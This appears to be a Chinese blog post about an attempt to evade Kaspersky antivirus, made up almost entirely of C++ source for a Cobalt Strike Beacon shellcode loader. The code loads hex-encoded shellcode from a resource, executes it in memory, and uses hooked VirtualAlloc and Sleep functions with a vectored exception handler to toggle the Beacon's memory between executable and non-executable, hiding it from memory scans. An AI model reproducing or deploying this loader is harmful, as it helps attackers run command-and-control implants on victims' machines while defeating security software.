记一次不太成功的卡巴斯基免杀

// 全局变量声明LPVOID Beacon_address; // Beacon内存地址SIZE_T Beacon_data_len; // Beacon内存长度DWORD Beacon_Memory_address_flOldProtect; // Beacon内存属性HANDLE hEvent; // 事件句柄
BOOL Vir_FLAG = TRUE; // 感染标记LPVOID shellcode_addr; // shellcode内存地址
// 原始函数指针声明using VirtualAllocFunc = LPVOID(WINAPI*)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);using SleepFunc = VOID(WINAPI*)(DWORD dwMilliseconds);
// 指向原始函数的指针VirtualAllocFunc OriginalVirtualAlloc = VirtualAlloc;SleepFunc OriginalSleep = Sleep;
// Hooked VirtualAllocLPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {    LPVOID allocatedMemory = OriginalVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);    if (allocatedMemory) {        Beacon_data_len = dwSize;        Beacon_address = allocatedMemory;        printf("Memory Allocation Size: %lldn", Beacon_data_len);        printf("Memory Allocation Address: %pn", Beacon_address);    }    return allocatedMemory;}
// Hooked Sleepvoid WINAPI NewSleep(DWORD dwMilliseconds) {    if (Vir_FLAG) {        printf("Free Memory Address: %pn", shellcode_addr);        VirtualFree(shellcode_addr, 0, MEM_RELEASE);        Vir_FLAG = false;    }    printf("The time of Sleep: %dn", dwMilliseconds);    SetEvent(hEvent);}
// 判断异常代码的地址是否在Beacon内存的范围之内BOOL is_Exception(DWORD64 Exception_addr) {    if (Exception_addr >= (DWORD64)Beacon_address && Exception_addr < (DWORD64)Beacon_address + Beacon_data_len) {        printf("The Exception Address is a match: %llxn", Exception_addr);        return true;    }    printf("The Exception Address not a match: %llxn", Exception_addr);    return false;}
// 定义VEH的异常处理函数LONG NTAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExcepInfo) {    printf("VectoredExceptionHandlern");    printf("The Exception Code is :%xn", pExcepInfo->ExceptionRecord->ExceptionCode);    printf("The Thread Address is :%llxn", pExcepInfo->ContextRecord->Rip);    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) {        printf("Modify the memory attribute to executablen");        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);        return EXCEPTION_CONTINUE_EXECUTION;    }    return EXCEPTION_CONTINUE_SEARCH;}
// 线程函数，用于将Beacon的内存属性设置为可读写，即去掉可执行权限DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {    while (true) {        WaitForSingleObject(hEvent, INFINITE);        printf("Set Beacon memory attribute unexecutablen");        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);        ResetEvent(hEvent);    }    return 0;}
// 将十六进制中的单个字符转换为相应的整数值unsigned char hexCharToByte(char character) {    if (character >= '0' && character <= '9') {        return character - '0';    }    if (character >= 'a' && character <= 'f') {        return character - 'a' + 10;    }    if (character >= 'A' && character <= 'F') {        return character - 'A' + 10;    }    return 0;}bool doesFileExist(const string& fileName) {    ifstream file(fileName);    return file.good();}
// 将十六进制字符串转换成字节型数组void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {    for (int i = 0; i < hexString.length(); i += 2) {        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);    }}
int main() {    if (!doesFileExist("1.txt")) {        cout <<"1.txt文件不存在，程序退出" << endl;        return 1; // 返回非零值表示程序异常退出    }    hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // 创建事件(一开始无信号)
    AddVectoredExceptionHandler(1, &VectoredExceptionHandler); // 添加异常处理函数
    // 创建线程    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);    CloseHandle(hThread1);
    // 从资源加载shellcode    HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_TEXT1), RT_RCDATA);    if (hResource != NULL) {        HGLOBAL hGlobal = LoadResource(NULL, hResource);        if (hGlobal != NULL) {            const char* resourceData = (const char*)LockResource(hGlobal);            DWORD resourceSize = SizeofResource(NULL, hResource);
            if (resourceData != NULL && resourceSize > 0) {                // 将资源内容转换为字符串                string contents(resourceData, resourceData + resourceSize);
                size_t size = contents.length() / 2; // 由于两个十六进制相当于一个字节，文件内容长度需除以2
                // 为shellcode申请一块内存                shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
                // 调用函数将十六进制字符串转换为字节型数组                hexStringToBytes(contents, (unsigned char*)shellcode_addr, size);
                // 修改内存属性为可读写                VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
                // 执行shellcode                (*(int(*)())shellcode_addr)();            }        }    }
    return 0;}